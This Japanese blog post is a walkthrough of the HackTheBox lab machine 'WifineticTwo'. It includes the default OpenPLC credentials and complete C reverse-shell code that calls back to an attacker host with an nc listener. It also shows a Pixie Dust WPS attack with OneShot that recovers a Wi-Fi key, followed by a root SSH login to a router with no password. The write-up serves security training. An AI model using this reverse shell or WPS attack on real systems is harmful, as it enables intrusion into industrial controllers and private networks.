2
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

今回はHackTheBoxのMediumマシン「WifinetcTwo」のWriteUpです!
名前からしてWi-Fiが関係していそうですね。どのようなマシンなのか楽しみです。

image.png

グラフはいつものMediumよりは少し簡単そうに見えますね...
評価的には若干癖が強そうですが、攻略目指して頑張ります!

HackTheBoxって何?という方は下記の記事を見てみてください!一緒にハッキングしましょう〜!

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!

WifineticTwo

列挙

それでは、攻略を開始しましょう。
まずはポートスキャンから始めます。

+[~/wifinetictwo]
(σ▰>∇<)σ<10.10.14.8>$ sudo nmap -Pn -v -n -sV -p- --min-rate=1000 10.10.11.7 

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
8080/tcp open  http-proxy Werkzeug/1.0.1 Python/2.7.18

22番と8080番がオープンしています。
とりあえずブラウザで8080番にアクセスしてみましょう。

image.png

ログインページが表示されました。
軽くSQLインジェクションを試しましたが、発火しません。他にできるアプローチとして、今回のログイン画面は「OpenPLC」のものということがわかるので、デフォルトの認証情報がないか検索しました。

image.png

すると、「openplc / openplc」がデフォルトの認証情報であることがわかりました。
ログインできるか試してみましょう。

image.png

ログインに成功しました!

Command Injection

ではここから侵入につながる情報がないかダッシュボード内を列挙します。
色々とみていると、コードをカスタマイズする機能があることがわかりました。

image.png

コード変更後に、画面左下にある「Start PLC」を押下することで実行されます。コードをカスタムして実行できるということは任意のコマンドを実行できるかもしれません。実際に試してみましょう。
コードはC言語で書かれているので、追加するコードもCで統一します。まず、リバースシェルを取得するために必要なインポートを定義します。

#include "ladder.h"
#include <stdio.h> 
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h> 

次にリバースシェルを送信させるためのコードをupdateCustomOut()の関数内に記載します。

void updateCustomOut()
{
    int port = 2121;
    struct sockaddr_in revsockaddr;

    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;       
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("10.10.14.8");

    connect(sockt, (struct sockaddr *) &revsockaddr, 
    sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    char * const argv[] = {"sh", NULL};
    execvp("sh", argv);

    return 0;
}

入力できたら、「Save Changes」を押下します。コンパイルが走るので成功するか確認しましょう。

スクリーンショット 2024-08-01 150429.png

コンパイルに成功しました。

root としてのシェル(attica01)

それでは、リバースシェルを取得しましょう。実行前に待ち受けを開始しておきます。

+[~]
(σ▰>∇<)σ<10.10.14.8>$ nc -lnvp 2121 
listening on [any] 2121 ...

これで準備が整ったので「Start LPC」を押下し実行してみましょう!
WEBのレスポンスはタイムアウトになりますが、待ち受けを確認すると...

+[~]
(σ▰>∇<)σ<10.10.14.8>$ nc -lnvp 2121 
listening on [any] 2121 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.7] 56572
root@attica01:/opt/PLC/OpenPLC_v3/webserver# whoami
root

シェルを取得できました!

root@attica01:~# ls -l
total 4
-rw-r----- 1 root root 33 Aug  1 06:11 user.txt

ホームディレクトリ内でユーザフラグを取得できました!

ルートフラグの取得

それではここからルートフラグの取得を目指していきます!

すでにルートユーザではありますが、侵入先のホスト内にはルートフラグはなさそうです。おそらくここから他のホストへと接続を行うことでルートフラグが取得できるので、他のホストへ接続を行うための調査を行います。

とりあえずネットワークを調査します。ifconfigを実行しましょう。

root@attica01:~# ifconfig 
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.0.3.2  netmask 255.255.255.0  broadcast 10.0.3.255
        inet6 fe80::216:3eff:fefc:910c  prefixlen 64  scopeid 0x20<link>
        ether 00:16:3e:fc:91:0c  txqueuelen 1000  (Ethernet)
        RX packets 4898  bytes 403226 (403.2 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 2924  bytes 456241 (456.2 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 10  bytes 576 (576.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 10  bytes 576 (576.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlan0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        ether 02:00:00:00:02:00  txqueuelen 1000  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

出力を見てみると、eth0が「10.0.3.2」であり、実際に外部からアクセスを行ったものとは異なることがわかります。つまりこのホストは仮想ホストであることがわかりました。
さらに興味深いものとして、wlan0が存在しています。マシンの名前からしてもWi-Fiが怪しいのでこのインターフェースに調査の焦点を当てていきます。iwを実行しましょう。

root@attica01:~# iw dev wlan0 scan
BSS 02:00:00:00:01:00(on wlan0)
	last seen: 3560.752s [boottime]
	TSF: 1722494845265159 usec (19936d, 06:47:25)
	freq: 2412
	beacon interval: 100 TUs
	capability: ESS Privacy ShortSlotTime (0x0411)
	signal: -30.00 dBm
	last seen: 0 ms ago
	Information elements from Probe Response frame:
	SSID: plcrouter
	Supported rates: 1.0* 2.0* 5.5* 11.0* 6.0 9.0 12.0 18.0 
	DS Parameter set: channel 1
	ERP: Barker_Preamble_Mode
	Extended supported rates: 24.0 36.0 48.0 54.0 
	RSNz * Version: 1
		 * Group cipher: CCMP
		 * Pairwise ciphers: CCMP
		 * Authentication suites: PSK
		 * Capabilities: 1-PTKSA-RC 1-GTKSA-RC (0x0000)
	Supported operating classes:
		 * current operating class: 81
	Extended capabilities:
		 * Extended Channel Switching
		 * SSID List
		 * Operating Mode Notification
	WPS: * Version: 1.0
		 * Wi-Fi Protected Setup State: 2 (Configured)
		 * Response Type: 3 (AP)
		 * UUID: 572cf82f-c957-5653-9b16-b5cfb298abf1
		 * Manufacturer:  
		 * Model:  
		 * Model Number:  
		 * Serial Number:  
		 * Primary Device Type: 0-00000000-0
		 * Device name:  
		 * Config methods: Label, Display, Keypad
		 * Version2: 2.0

SSIDの情報や暗号化方式が確認できました。

Pixie Dust attack

暗号化方式として、「WPS」が出力されており、これは非常に脆弱な方式です。HackTricksにも攻撃方法がまとめられています。

今回はOneShotを使用し、「Pixie Dust attack」を行います。nonceを特定することでAPのWPS PINを容易に解読できるという攻撃です。OneShotは以下のリポジトリからダウンロードできます。

それでは実行していきましょう。(私はCで作成されたoneshotを使用しました。)

root@attica01:~# ./oneshot -i wlan0 -b 02:00:00:00:01:00 -K
[*] Running wpa_supplicant...
[*] Trying pin 12345670...
[*] Scanning...
[*] Authenticating...
[+] Authenticated
[*] Associating with AP...
[+] Associated with 02:00:00:00:01:00 (ESSID: plcrouter)
[*] Received Identity Request
[*] Sending Identity Response...
[*] Received WPS Message M1
[P] E-Nonce: e4e6052833fc9cf09c39a360e5be3b20
[*] Building Message M2
[P] PKR: b4d29ae8e05a747161ea0424e99eda158aa97bcaefbd4a29aa043e81b4c585443b5a6e039062cf1f57fbc97220e31a584781ed768d392ab26c9f4b7b6f566fef7ee95c2de57b3aeac89f2a9604e35a3a031a1c04888016be135249fe5b9d83987a7730537428c49bc78f8e84ce03365771d587e3a297401388de695e8cf8fa3fe9592c4aa323027d5ed6e5b2c1b2fcd87aab5115d881dd97420eba3fc6809a673169c4e53398f24fabc3ce44482ffef26e1d3e5a7a2113193f48b887041a52f4
[P] PKE: 566a93f777e6a95d8b757ddde5031ab1ebef7f4f36cc8c09a2b1209e6baa2bb415bc5a154812329920839c285dac286e641de1a04204ab31f3753f808aa435265e1444f89c43da91f2f9a7e79df4165c2aecd6ad66c3f6faecfb1b469c9d09d6b868ce0186a8af91ed0fbfa4cb0386c336cafae6488a90a9319a12c0687256719aebf5229776fd47ed734f0f9fe868ea541ada285970df72b87305078ce957caa22214fcee03c38a37713d023165acf0848dc73978df9216211fd13a4d91dea7
[P] Authkey: 3eb8dcdc46a545cc626232ba39174f9e842c61ba6a516050d12f3c86683a0758
[*] Received WPS Message M3
[P] E-Hash1: 92864ac8f60476f3293e645cd1faa2fbd21ab35f2e735589e7e809d3442c6ea6
[P] E-Hash2: 74e9f1d67ba972ff6bdcdea47ddcee6dca01e1c4579a43348c7bf12891df198c
[*] Building Message M4
[*] Received WPS Message M5
[*] Building Message M6
[*] Received WPS Message M7
[+] WPS PIN: 12345670
[+] WPA PSK: NoWWEDoKnowWhaTisReal123!
[+] AP SSID: plcrouter

PSKを取得することに成功しました!
これでWi-Fiに接続することができるので、接続していきましょう。wpa_passphraseを実行し接続に必要な設定ファイルを作成します。

root@attica01:~# wpa_passphrase plcrouter 'NoWWEDoKnowWhaTisReal123!' > config

続いてwpa_supplicantを実行して接続します。

root@attica01:~# wpa_supplicant -B -c config -i wlan0
Successfully initialized wpa_supplicant
rfkill: Cannot open RFKILL control device
rfkill: Cannot get wiphy information

接続に成功しましたが、IPアドレスが付与されていないのでifconfigを実行し、IPを付与します。

root@attica01:~# ifconfig wlan0 192.168.1.21 netmask 255.255.255.0

これで通信を行える状態になりました。あとはどのIPアドレスを持った対象に対して接続を行うか知る必要があるので、ARPを確認します。

root@attica01:~# arp -a
? (10.0.3.1) at 00:16:3e:00:00:00 [ether] on eth0
attica01 (10.0.3.52) at <incomplete> on eth0
? (192.168.1.1) at 02:00:00:00:01:00 [ether] on wlan0

今回の対象は「192.168.1.1」のようです。対象がわかったので、ポートスキャンを行いましょう。

root@attica01:~# ./nmap -n -Pn -v 192.168.1.1 --min-rate 1000

PORT    STATE SERVICE
22/tcp  open  ssh
53/tcp  open  domain
80/tcp  open  http
443/tcp open  https

SSH、DNS、HTTP(S)が動作しています。

root としてのシェル(ap)

いつものようにブラウザからアクセスを...と思いましたが、現状の目的は他ホストへrootとして侵入しルートフラグを取得することです。なので、一度rootとしてSSH認証を試してみてもよいのではと考えました。パスワードはわかりませんが、先ほどWi-Fi接続の認証情報も取得しているため、使いまわしされているかもしれません。試してみましょう。

root@attica01:~# ssh root@192.168.1.1
The authenticity of host '192.168.1.1 (192.168.1.1)' can't be established.
ED25519 key fingerprint is SHA256:ZcoOrJ2dytSfHYNwN2vcg6OsZjATPopYMLPVYhczadM.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.1' (ED25519) to the list of known hosts.


BusyBox v1.36.1 (2023-11-14 13:38:11 UTC) built-in shell (ash)

  _______                     ________        __
 |       |.-----.-----.-----.|  |  |  |.----.|  |_
 |   -   ||  _  |  -__|     ||  |  |  ||   _||   _|
 |_______||   __|_____|__|__||________||__|  |____|
          |__| W I R E L E S S   F R E E D O M
 -----------------------------------------------------
 OpenWrt 23.05.2, r23630-842932a63d
 -----------------------------------------------------
=== WARNING! =====================================
There is no root password defined on this device!
Use the "passwd" command to set up a new password
in order to prevent unauthorized SSH logins.
--------------------------------------------------
root@ap:~# id
uid=0(root) gid=0(root)

なんと、パスワードが設定されていなかったことにより接続に成功しました!

root@ap:~# ls -l
-rw-r-----    2 root     root            33 Aug  1 05:48 root.txt

驚きましたが、ルートフラグを取得し無事完全攻略達成です!

攻略を終えて

今回はいつものHackTheBoxマシンとは少し違った感じで面白かったです。また、Wi-Fiに対する攻撃は経験が浅いものだったので、学びにもなりました。ルートフラグを取得しに行く際は、マシンの名前がかなりヒントになりました。Wi-Fiを匂わせるものじゃなかったらもっと時間がかかっていたと思います笑
攻略パスを振り返ると、認証系で脆弱な部分が多かったのかなと思います。それこそ初期侵入がデフォルトパスワードだったり最後のOpenWRTに接続する時点でパスワードが設定されていなかったりと。セキュリティの脅威は脆弱性だけではないということを意識する必要がありますね。
今後もHackTheBoxのWriteUpを公開していくので、見ていただけると嬉しいです!
最後まで閲覧していただき、ありがとうございました!

2
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?